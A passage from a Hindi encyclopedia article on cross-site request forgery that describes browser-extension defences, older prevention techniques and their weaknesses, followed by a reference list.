अतः फ़ायरफ़ॉक्स के लिए नोस्क्रिप्ट एक्सटेंशन अविश्वसनीय साइटों से विश्वसनीय को अलग करके और अविश्वसनीय साइटों द्वारा विश्वसनीय लोगों को भेजे गए पोस्ट रिक्वेस्ट से ओथेन्टिकेटेड और पेलोड को हटाकर सीएसआरएफ संकट को कम करता है। और नोस्क्रिप्ट में एप्लिकेशन बाउंड्री एनफोर्सर मॉड्यूल इंटरनेट पेजों से स्थानीय साइटों (जैसे लोकलहोस्ट) पर भेजे गए रिक्वेस्ट को भी ब्लॉक करता है, जिससे स्थानीय सेवाओं (जैसे यूटोरेंट) या राउटर पर सीएसआरएफ के अटैक्स को रोका जा सकता है।

चूंकि फ़ायरफ़ॉक्स के लिए सेल्फ डिस्ट्रक्टिंग कुकीज़ एक्सटेंशन सीधे सीएसआरएफ से रक्षा नहीं करता है, किन्तु कुकीज़ को हटाकर, जैसे ही वे ओपन टैब से संबद्ध नहीं होते हैं, किन्तु अटैक की विंडो को कम कर सकता है।

अन्य तकनीकें

इस प्रकार से ऐतिहासिक रूप से सीएसआरएफ की रोकथाम के लिए अनेक अन्य तकनीकों का उपयोग या प्रस्ताव किया गया है:

  • यह सत्यापित करना कि रिक्वेस्ट के शीर्षलेखों में सम्मिलित है X-Requested-With (v2.0 से पहले रूबी ऑन रेल्स द्वारा और v1.2.5 से पहले जैंगो (वेब ​​फ्रेमवर्क) द्वारा उपयोग किया जाता है), या एचटीटीपी की जाँच कर रहा है Referer हेडर और/या एचटीटीपी Origin हेडर.[32] चूंकि, यह असुरक्षित है - ब्राउज़र प्लगइन्स और रीडायरेक्ट का संयोजन अटैक्स को किसी भी वेबसाइट के रिक्वेस्ट पर कस्टम एचटीटीपी हेडर प्रदान करने की अनुमति दे सकता है, जिससे जाली रिक्वेस्ट की अनुमति मिलती है।[33][34]
  • एचटीटीपी रेफरर एचटीटीपी की जाँच करना Referer हेडर यह देखने के लिए कि क्या रिक्वेस्ट किसी अधिकृत पेज से आ रहा है, सामान्यतः एम्बेडेड नेटवर्क डिवाइस के लिए उपयोग किया जाता है क्योंकि यह मेमोरी आवश्यकताओं को नहीं बढ़ाता है। चूंकि, रिक्वेस्ट जो Referer हेडर को छोड़ देता है अनधिकृत माना जाना चाहिए क्योंकि कोई Referer हेडर एफ़टीपी या एचटीटीपीएस यूआरएल से रिक्वेस्ट रेलीज़ड करके अटैक्स इसे दबा सकता है । यह स्ट्रीक Referer सत्यापन उन ब्राउज़रों या प्रॉक्सी के साथ समस्याएँ उत्पन्न कर सकता है जो Referer हेडरगोपनीयता कारणों से इसे छोड़ देते हैं। साथ ही, फ़्लैश के पुराने संस्करण (9.0.18 से पहले) मालिसियस फ़्लैश को एचटीटीपी प्रतिक्रिया विभाजन का उपयोग करके इच्छानुसार रूप से एचटीटीपी रिक्वेस्ट हेडर के साथ जीईटी या पोस्ट रिक्वेस्ट उत्पन्न करने की अनुमति देते हैं।[35] और क्लाइंट में समान सीआरएलएफ इंजेक्शन दुर्बलता का उपयोग एचटीटीपी रिक्वेस्ट के रेफरर को धोखा देने के लिए किया जा सकता है।
  • कुछ समय के लिए पोस्ट रिक्वेस्ट मेथेड को यूआरएल में पैरामीटर (जीईटी विधि का उपयोग करके) का उपयोग करके सामान्य सीएसआरएफ अटैक्स के प्रति प्रतिरोधी माना जाता था। चूंकि, पोस्ट और किसी अन्य एचटीटीपी विधि दोनों को अब XMLHttpRequests का उपयोग करके सरलता से निष्पादित किया जा सकता है। और अप्रत्याशित जीईटी रिक्वेस्ट को फ़िल्टर करना अभी भी कुछ विशेष अटैक्स को रोकता है, जैसे मालिसियस इमेज यूआरएल या लिंक एड्रेस का उपयोग करके क्रॉस-साइट अटैक और क्रॉस-साइट सूचना लीकेज <script> तत्व (जावास्क्रिप्ट हाईजैकिंग); यह आक्रामक वेब क्रॉलर और लिंक प्रीफेचिंग के साथ (नॉन-सिक्यूरिटी-रिलेटेड) समस्याओं को भी रोकता है।[1]

इस प्रकार से क्रॉस-साइट स्क्रिप्टिंग (एक्सएसएस ) निर्बलता (यहां तक ​​कि ही डोमेन पर चलने वाले अन्य एप्लिकेशनों में भी) अटैक्सों को अनिवार्य रूप से सभी सीएसआरएफ रोकथामों को अनदेखा करने की अनुमति देती हैं।[36]

यह भी देखें

संदर्भ

  1. ↑ 1.0 1.1 1.2 1.3 1.4 Shiflett, Chris (December 13, 2004). "Security Corner: Cross-Site Request Forgeries". php|architect (via shiflett.org). Retrieved 2008-07-03.
  2. ↑ 2.0 2.1 Ristic, Ivan (2005). अपाचे सुरक्षा. O'Reilly Media. p. 280. ISBN 0-596-00724-8.
  3. ↑ "What is Cross-Site Request Forgery (CSRF) and How Does It Work? | Synopsys".
  4. ↑ "What is CSRF (Cross-site request forgery)? Tutorial & Examples". portswigger.net. Retrieved 2019-11-04.
  5. ↑ Burns, Jesse (2005). "Cross Site Request Forgery: An Introduction To A Common Web Weakness" (PDF). Information Security Partners, LLC. Retrieved 2011-12-12.
  6. ↑ Christey, Steve; Martin, Robert A. (May 22, 2007). "सीवीई में भेद्यता प्रकार वितरण (संस्करण 1.1)". MITRE Corporation. Retrieved 2008-06-07.
  7. ↑ Washkuch Jr., Frank (October 17, 2006). "नेटफ्लिक्स ने क्रॉस-साइट अनुरोध जालसाजी छेद को ठीक किया". SC Magazine. Retrieved 2019-02-11.
  8. ↑ 8.0 8.1 William Zeller; Edward W. Felten (October 2008). "Cross-Site Request Forgeries: Exploitation and Prevention" (PDF). Retrieved 29 May 2015.
  9. ↑ Mike, Bailey (2009). "CSRF: Yeah, It Still Works…" (PDF). DEFCON.
  10. ↑ "Security Advisory: CSRF & DNS/DHCP/Web Attacks". Draytek. May 2018. Retrieved 18 May 2018.
  11. ↑ "Cross Site Request Forgery protection | Django documentation | Django". docs.djangoproject.com. Retrieved 2015-08-21.
  12. ↑ Adam Barth, Collin Jackson, and John C. Mitchell, Robust Defenses for Cross-Site Request Forgery, Proceedings of the 15th ACM Conference on Computer and Communications Security, ACM 2008
  13. ↑ Joseph Foulds, Passive monitoring login request forgery, Yahoo Archived 2014-12-22 at the Wayback Machine
  14. ↑ "XML निकाय के साथ पोस्ट अनुरोधों के लिए क्रॉस-साइट अनुरोध जालसाजी". pentestmonkey. Retrieved September 4, 2015.
  15. ↑ Sheeraj Shah (2008). "Web 2.0 Hacking Defending Ajax & Web Services" (PDF). HITB. Retrieved September 4, 2015.
  16. ↑ "Security Fix - Weaponizing Web 2.0".
  17. ↑ Dynamic CSRF Archived 2010-02-13 at the Wayback Machine
  18. ↑ Owasp.org: Israel 2012/01: AJAX Hammer – Harnessing AJAX for CSRF Attacks
  19. ↑ Downloads – hasc-research – hasc-research – Google Project Hosting. Code.google.com (2013-06-17). Retrieved on 2014-04-12.
  20. ↑ "Vulnerability Note VU#584089 - cPanel XSRF vulnerabilities".
  21. ↑ "Vulnerability Note VU#264385 - OpenCA allows Cross site request forgery (XSRF)".
  22. ↑ "उन्नत क्रॉस-साइट हमले की रोकथाम". Espacenet. European Patent Office. Retrieved 21 November 2019.
  23. ↑ "CSRF: Cross-site request forgery attacks explained". IONOS Digitalguide (in English). Retrieved 2022-04-26.
  24. ↑ "क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ) रोकथाम धोखा शीट". OWASP. Retrieved 2019-07-19.
  25. ↑ "Valhalla Articles - Cross-Site Request Forgery: Demystified".
  26. ↑ "क्रॉस साइट अनुरोध जालसाजी संरक्षण". Django. Archived from the original on 2015-01-20. Retrieved 2015-01-20.
  27. ↑ "क्रॉस साइट अनुरोध जालसाजी (XSRF) सुरक्षा". AngularJS. Retrieved 2015-01-20.
  28. ↑ "Making a Service Available Across Domain Boundaries".
  29. ↑ Adamski, Lucas. "फ़्लैश प्लेयर के लिए क्रॉस-डोमेन नीति फ़ाइल उपयोग अनुशंसाएँ - एडोब डेवलपर कनेक्शन".
  30. ↑ "डबल सबमिट कुकी रक्षा". OWASP.
  31. ↑ "सेमसाइट कुकीज़". Mozilla.
  32. ↑ Origin Header Proposal Archived 2016-03-08 at the Wayback Machine. People.mozilla.org. Retrieved on 2013-07-29.
  33. ↑ "Django 1.2.5 release notes". Django.
  34. ↑ "क्रॉस-साइट अनुरोध जालसाजी (सीएसआरएफ)". OWASP, The Open Web Application Security Project. 4 September 2012. Retrieved 11 September 2012.
  35. ↑ "Secunia Advisory SA22467". Secunia. 19 October 2006. Retrieved 11 September 2012.
  36. ↑ Schneider, Christian. "सीएसआरएफ और समान-मूल XSS". Archived from the original on 2012-08-14. Retrieved 2012-04-21.


बाहरी संबंध

Retrieved from ‘https://www.vigyanwiki.in/index.php?title=क्रॉस_साइट_अनुरोध_जालसाजी&oldid=251040’